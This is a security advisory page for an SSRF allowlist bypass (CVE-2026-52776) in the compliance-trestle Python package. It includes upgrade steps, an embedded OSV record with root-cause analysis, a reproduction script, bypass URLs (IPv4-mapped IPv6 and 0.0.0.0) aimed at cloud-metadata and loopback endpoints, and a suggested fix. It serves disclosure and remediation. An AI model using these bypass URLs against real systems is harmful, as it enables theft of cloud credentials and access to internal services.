CVE-2026-52776: Compliance trestle Compliance-trestle Has An URLSecurityValidator SSRF Vulnerability
HIGHCVE-2026-52776 is a HIGH compliance-trestle has an urlsecurityvalidator ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Compliance trestle libraries in the PyPI ecosystem. The issue involves compliance-trestle has an urlsecurityvalidator ssrf allowlist bypass via ipv4-mapped ipv6 and 0.0.0.0. Remediation is available by upgrading affected packages to version 4.1.0.
CVE-2026-52776 at a Glance
How to Fix CVE-2026-52776
To remediate this vulnerability, upgrade all affected Compliance trestle dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install compliance-trestle>=4.1.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show compliance-trestle
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-52776, inspect your installed packages using pip:
pip show compliance-trestle
Analyze the terminal output to locate any version of Compliance trestle in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.1.0), your application is affected.
Note: The pip show compliance-trestle command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Compliance trestle, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-52776 Affected Compliance trestle Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
compliance-trestle
|
PyPI |
< 4.1.0
|
4.1.0
|
References
Frequently Asked Questions
What is CVE-2026-52776?
Which Compliance trestle versions are affected?
What version fixes CVE-2026-52776?
Is compliance-trestle affected?
What CWE is associated with CVE-2026-52776?
How can I check PyPI dependencies for CVE-2026-52776?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-h47f-gmjp-m7rr",
"modified" : "2026-08-12T15:21:17Z",
"published" : "2026-08-12T15:21:17Z",
"aliases" : [ "CVE-2026-52776" ],
"summary" : "compliance-trestle has an URLSecurityValidator SSRF allowlist bypass via IPv4-mapped IPv6 and 0.0.0.0",
"details" : "### Summary\n\n`compliance-trestle` 4.0.3 (latest) ships an `URLSecurityValidator` in `trestle/core/remote/security.py` to block SSRF to loopback / link-local / cloud-metadata endpoints from the HTTPSFetcher and SFTPFetcher remote-fetch paths. The allowlist is incomplete and can be bypassed by four equivalent address representations that resolve to the same blocked host but evade the validator's checks:\n\n- IPv4-mapped IPv6 literals (`[::ffff:169.254.169.254]`, `[::ffff:127.0.0.1]`, `[::ffff:10.0.0.1]`) are returned by `socket.getaddrinfo` as `IPv6Address` objects; `IPv6Address in IPv4Network('169.254.0.0/16')` returns `False`, so the `_check_blocked_networks` and `_check_private_networks` predicates do not match.\n- IPv4 unspecified address `0.0.0.0` is not in `ALWAYS_BLOCKED_NETWORKS` (which covers `127.0.0.0/8` but not `0.0.0.0/8`); on Linux + Docker, `0.0.0.0` routes to local services on any interface, and on dual-stack-mapped sockets it also reaches loopback listeners.\n\nA malicious OSCAL profile referencing one of these URLs in `imports[*].href` or `back-matter.resources[*].rlinks[*].href` causes `HTTPSFetcher.__init__` and `_do_fetch` (which both invoke `validator.validate_url`) to pass the URL through to `requests.get`, contacting cloud-metadata services, loopback admin interfaces, or RFC 1918 internal networks (with `TRESTLE_BLOCK_PRIVATE_IPS=true` set) that the validator was specifically designed to block.\n\n### Affected versions\n\n`compliance-trestle` (PyPI) versions `<= 4.0.3` are affected. 4.0.3 (released 2026-05-20) is the latest release and the one that introduced `URLSecurityValidator`; prior releases had no SSRF guard at all.\n\n### Privilege required\n\nNetwork-position attacker who can supply or influence an OSCAL artifact (profile / catalog / SSP / component-definition) that compliance-trestle subsequently fetches via `HTTPSFetcher` or `SFTPFetcher`. The most realistic vector is a malicious OSCAL profile whose `imports[*].href` references one of the bypass URLs; the artifact then flows through `trestle href add` / `trestle import` / `trestle assemble` / `trestle author` / any workflow that resolves the profile's imports.\n\n### Root cause\n\n`trestle/core/remote/security.py` (4.0.3, lines 56-71 + 156-167):\n\n```python\nALWAYS_BLOCKED_NETWORKS = [\n ipaddress.ip_network('127.0.0.0/8'), # IPv4 loopback only\n ipaddress.ip_network('::1/128'), # IPv6 loopback (single address)\n ipaddress.ip_network('169.254.0.0/16'), # IPv4 link-local only\n ipaddress.ip_network('fe80::/10'), # IPv6 link-local\n]\n\nMETADATA_HOSTNAMES = {\n '169.254.169.254', # IPv4 literal only\n 'metadata.google.internal',\n 'metadata.azure.com',\n '100.100.100.200',\n}\n\ndef _check_blocked_networks(self, ip_addr, hostname):\n for network in ALWAYS_BLOCKED_NETWORKS:\n if ip_addr in network: # IPv6Address in IPv4Network -> False\n raise TrestleError(...)\n```\n\nFour independent gaps:\n\n1. **No IPv4-mapped IPv6 normalization.** `socket.getaddrinfo('::ffff:169.254.169.254', None)` returns an `IPv6Address`. Python's `ipaddress` module raises `TypeError` if mixed types are compared, and the `in` operator suppresses that to `False`. The validator never calls `.ipv4_mapped` to canonicalize before the membership check, so any always-blocked IPv4 range is bypassable via the `[::ffff:N.N.N.N]` literal.\n\n2. **`METADATA_HOSTNAMES` is an exact-string set.** The hostname for `https://[::ffff:169.254.169.254]/` is `::ffff:169.254.169.254`, which is not in the set.\n\n3. **`0.0.0.0` is not blocked.** `0.0.0.0` is not in any of the four `ALWAYS_BLOCKED_NETWORKS` ranges. On Linux and inside containers, connecting to `0.0.0.0` routes to local services on any interface (a common SSRF technique against Docker / orchestrator agents on `0.0.0.0:PORT`).\n\n4. **DNS rebinding ribbon is only one IP deep.** `_resolve_hostname` records the first `getaddrinfo` result set, but a hostname with mixed records can still serve a private IP on the second resolution `validator.validate_url(self._url)` performs in `_do_fetch`. The IPv4-mapped-IPv6 bypass already eliminates the need for rebinding.\n\nSibling code paths sharing the same defect: `SFTPFetcher.__init__` (lines 359-365 of `cache.py`) wires the identical `URLSecurityValidator` and inherits all four gaps.\n\n### Reproduction (E2E against `pip install compliance-trestle==4.0.3` + local IMDS simulator)\n\n```bash\n# 1. Setup\nmkdir -p /tmp/poc-trestle && cd /tmp/poc-trestle\npython3.12 -m venv venv # any supported runtime (requires-python >= 3.10); 3.12.13 chosen because >= 3.12.4 it carries CPython CVE-2024-4032's is_global fix, proving this bypass is is_global-INDEPENDENT\n./venv/bin/pip install --quiet compliance-trestle==4.0.3\n./venv/bin/pip show compliance-trestle | head -2\n# Name: compliance-trestle\n# Version: 4.0.3\n\n# 2. Driver\ncat > e2e_full.py <<'PY'\nimport http.server, http.client, socket, socketserver, threading, time, os\nfrom urllib.parse import urlparse\nfrom trestle.core.remote.security import URLSecurityValidator, get_block_private_ips_config\nfrom trestle.common.err import TrestleError\n\nclass IMDS(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n body = b'{\"Code\":\"Success\",\"AccessKeyId\":\"AKIA_PWNED_VIA_TRESTLE_SSRF\",\"SecretAccessKey\":\"REDACTED\",\"Token\":\"FAKE_IMDS_RESPONSE\"}'\n self.send_response(200); self.send_header(\"Content-Length\", str(len(body))); self.end_headers(); self.wfile.write(body)\n def log_message(self, *a, **kw): pass\n\nclass DualStack(socketserver.ThreadingMixIn, http.server.HTTPServer):\n address_family = socket.AF_INET6\n def server_bind(self):\n try: self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0)\n except (AttributeError, OSError): pass\n super().server_bind()\n\nPORT = 18560\nsrv = DualStack((\"::\", PORT), IMDS)\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\ntime.sleep(0.2)\n\nvalidator = URLSecurityValidator(block_private_ips=True)\ndef attempt(label, url, expect_block):\n try:\n validator.validate_url(url); verdict, blocked = \"VALIDATION PASSED\", False\n except TrestleError as e:\n verdict, blocked = f\"BLOCKED: {str(e)[:80]}\", True\n meta = \"(expected)\" if blocked == expect_block else \"(*** UNEXPECTED ***)\"\n print(f\"\\n[{label}]\\n URL: {url}\\n Validator: {verdict} {meta}\")\n if not blocked:\n try:\n p = urlparse(url); c = http.client.HTTPConnection(p.hostname, p.port or 443, timeout=3)\n c.request(\"GET\", p.path or \"/\"); r = c.getresponse(); print(f\" Connectivity: HTTP {r.status}, body[:60]={r.read()[:60]!r}\"); c.close()\n except Exception as e:\n print(f\" Connectivity: {type(e).__name__}: {str(e)[:80]}\")\n\n# Negative controls (validator must block)\nattempt(\"NEG-1: literal 169.254.169.254\", f\"https://169.254.169.254:{PORT}/latest/meta-data/\", True)\nattempt(\"NEG-2: literal 127.0.0.1\", f\"https://127.0.0.1:{PORT}/admin\", True)\nattempt(\"NEG-3: metadata.google.internal\", f\"https://metadata.google.internal:{PORT}/\", True)\nattempt(\"NEG-4: literal 10.0.0.1 RFC1918\", f\"https://10.0.0.1:{PORT}/admin\", True)\n# Bypasses (validator should block, but does not)\nattempt(\"BYPASS-1: IPv4-mapped IPv6 cloud-metadata\", f\"https://[::ffff:169.254.169.254]:{PORT}/latest/meta-data/iam/security-credentials/admin\", True)\nattempt(\"BYPASS-2: 0.0.0.0 reaches localhost\", f\"https://0.0.0.0:{PORT}/admin\", True)\nattempt(\"BYPASS-3: IPv4-mapped IPv6 loopback\", f\"https://[::ffff:127.0.0.1]:{PORT}/admin\", True)\nattempt(\"BYPASS-4: IPv4-mapped IPv6 RFC 1918\", f\"https://[::ffff:10.0.0.1]:{PORT}/admin\", True)\nsrv.shutdown()\nPY\n\n# 3. Run\n./venv/bin/python e2e_full.py\n```\n\nObserved output on a supported runtime, Python 3.12.13 / macOS Darwin 25.3.0 (verbatim). Note 3.12.13 is >= 3.12.4, so CPython CVE-2024-4032's `is_global`/`is_private` reclassification IS active here; the bypass nevertheless works because this validator uses `IPv6Address in IPv4Network(...)` membership (which silently returns False for cross-version comparison), NOT the `is_global` predicate. The mechanism is therefore robust to CPython version:\n\n```\nPython: 3.12.13\ncompliance-trestle: 4.0.3\n ::ffff:169.254.169.254 is_global=False is_private=True in IPv4Network('169.254.0.0/16')=False\n ::ffff:127.0.0.1 is_global=False is_private=True in IPv4Network('169.254.0.0/16')=False\n ::ffff:10.0.0.1 is_global=False is_private=True in IPv4Network('169.254.0.0/16')=False\n\n[NEG-1: literal 169.254.169.254]\n URL: https://169.254.169.254:18560/latest/meta-data/\n Validator: BLOCKED: Access to cloud metadata endpoints is not allowed: 169.254.169.254. This is a se (expected)\n\n[NEG-2: literal 127.0.0.1]\n URL: https://127.0.0.1:18560/admin\n Validator: BLOCKED: Access to 127.0.0.0/8 addresses is blocked: 127.0.0.1 resolves to 127.0.0.1. Thi (expected)\n\n[NEG-3: metadata.google.internal]\n URL: https://metadata.google.internal:18560/\n Validator: BLOCKED: Access to cloud metadata endpoints is not allowed: metadata.google.internal. Thi (expected)\n\n[NEG-4: literal 10.0.0.1 RFC1918]\n URL: https://10.0.0.1:18560/admin\n Validator: BLOCKED: Access to private IP addresses is blocked: 10.0.0.1 resolves to 10.0.0.1 which i (expected)\n\n[BYPASS-1: IPv4-mapped IPv6 cloud-metadata]\n URL: https://[::ffff:169.254.169.254]:18560/latest/meta-data/iam/security-credentials/admin\n Validator: VALIDATION PASSED (*** UNEXPECTED ***)\n Connectivity: TimeoutError: timed out\n\n[BYPASS-2: 0.0.0.0 reaches localhost]\n URL: https://0.0.0.0:18560/admin\n Validator: VALIDATION PASSED (*** UNEXPECTED ***)\n Connectivity: HTTP 200, body[:60]=b'{\"Code\":\"Success\",\"AccessKeyId\":\"AKIA_PWNED_VIA_TRESTLE_SSRF'\n\n[BYPASS-3: IPv4-mapped IPv6 loopback]\n URL: https://[::ffff:127.0.0.1]:18560/admin\n Validator: VALIDATION PASSED (*** UNEXPECTED ***)\n Connectivity: HTTP 200, body[:60]=b'{\"Code\":\"Success\",\"AccessKeyId\":\"AKIA_PWNED_VIA_TRESTLE_SSRF'\n\n[BYPASS-4: IPv4-mapped IPv6 RFC 1918]\n URL: https://[::ffff:10.0.0.1]:18560/admin\n Validator: VALIDATION PASSED (*** UNEXPECTED ***)\n Connectivity: RemoteDisconnected: Remote end closed connection without response\n```\n\n(The bracketed-IPv6 diagnostic lines above are the load-bearing proof of `is_global`-independence: even with CPython's CVE-2024-4032 fix active (`is_global=False`, `is_private=True`), the validator's `in IPv4Network(...)` membership check still returns `False`, so the bypass is not contingent on running an older Python. BYPASS-1/BYPASS-4 show the guard passing the URL; their connectivity lines time out only because the local sentinel listens on loopback/`::`, not on those literal addresses -- the security-relevant result is the validator passing, which on a real dual-stack host routes to the embedded IPv4 endpoint.)\n\nNegative controls confirm the validator works as designed for the canonical literal forms it was written to block. All four bypass URLs pass `URLSecurityValidator.validate_url()` on the latest patched release.\n\n### Impact\n\n- SSRF to AWS / Azure / GCP / Alibaba IMDS via `https://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/<role>` -> short-lived role credentials exfiltrated through the cached fetch.\n- SSRF to loopback administrative interfaces via `https://0.0.0.0:PORT/` or `https://[::ffff:127.0.0.1]:PORT/` -> access to local-only admin endpoints (Docker socket on `unix://`, Prometheus, etcd, Kubelet) that the validator was supposed to deny.\n- SSRF to RFC 1918 internal services via `https://[::ffff:10.0.0.1]/...` even when `TRESTLE_BLOCK_PRIVATE_IPS=true` is explicitly set, defeating the operator's defense-in-depth posture.\n- The cache-write traversal protection (`PathSecurityValidator.validate_url_path_for_cache` + `validate_cache_path`) is orthogonal and remains effective; this advisory is scoped to the SSRF allowlist gap only.\n\n### Suggested fix\n\nNormalize every resolved IP to its canonical IPv4 form before membership checks, and add `0.0.0.0` to the always-blocked set. Diff sketch against `trestle/core/remote/security.py`:\n\n```python\nALWAYS_BLOCKED_NETWORKS = [\n ipaddress.ip_network('127.0.0.0/8'),\n ipaddress.ip_network('::1/128'),\n ipaddress.ip_network('169.254.0.0/16'),\n ipaddress.ip_network('fe80::/10'),\n ipaddress.ip_network('0.0.0.0/8'), # IPv4 \"this network\", reaches localhost on Linux\n ipaddress.ip_network('::/128'), # IPv6 unspecified\n]\n\ndef _canonicalize_ip(self, ip_addr):\n \"\"\"Map IPv4-mapped IPv6 addresses (::ffff:a.b.c.d) to their IPv4 form.\"\"\"\n if isinstance(ip_addr, ipaddress.IPv6Address) and ip_addr.ipv4_mapped is not None:\n return ip_addr.ipv4_mapped\n return ip_addr\n\ndef _check_blocked_networks(self, ip_addr, hostname):\n ip_addr = self._canonicalize_ip(ip_addr)\n for network in ALWAYS_BLOCKED_NETWORKS:\n if ip_addr.version == network.version and ip_addr in network:\n raise TrestleError(...)\n\ndef _check_private_networks(self, ip_addr, hostname):\n ip_addr = self._canonicalize_ip(ip_addr)\n # ... same canonicalization before block_private_ip / warn_private_ip\n```\n\nAlso add the canonicalized literal to `_check_metadata_endpoints`:\n\n```python\ndef _check_metadata_endpoints(self, hostname):\n # Canonicalize bracketed IPv6 literal hostnames before exact-match\n canonical = hostname.strip('[]')\n try:\n canonical_ip = ipaddress.ip_address(canonical)\n if isinstance(canonical_ip, ipaddress.IPv6Address) and canonical_ip.ipv4_mapped:\n canonical = str(canonical_ip.ipv4_mapped)\n except ValueError:\n pass\n if canonical in METADATA_HOSTNAMES:\n raise TrestleError(...)\n```\n\nThis mirrors the canonicalization pattern that pyca/cryptography, rustls-webpki, and the recent Node `undici` SSRF patches converged on after similar IPv6-mapped bypasses surfaced in 2024-2025.\n\n### Credit\n\nReported by tonghuaroot.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "compliance-trestle"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "4.1.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-h47f-gmjp-m7rr"
}, {
"type" : "WEB",
"url" : "https://github.com/oscal-compass/compliance-trestle/commit/d107cd16efe8eb15d46be3c1d97f1ec73d32447c"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/oscal-compass/compliance-trestle"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-184", "CWE-918" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-08-12T15:21:17Z",
"nvd_published_at" : null
}
}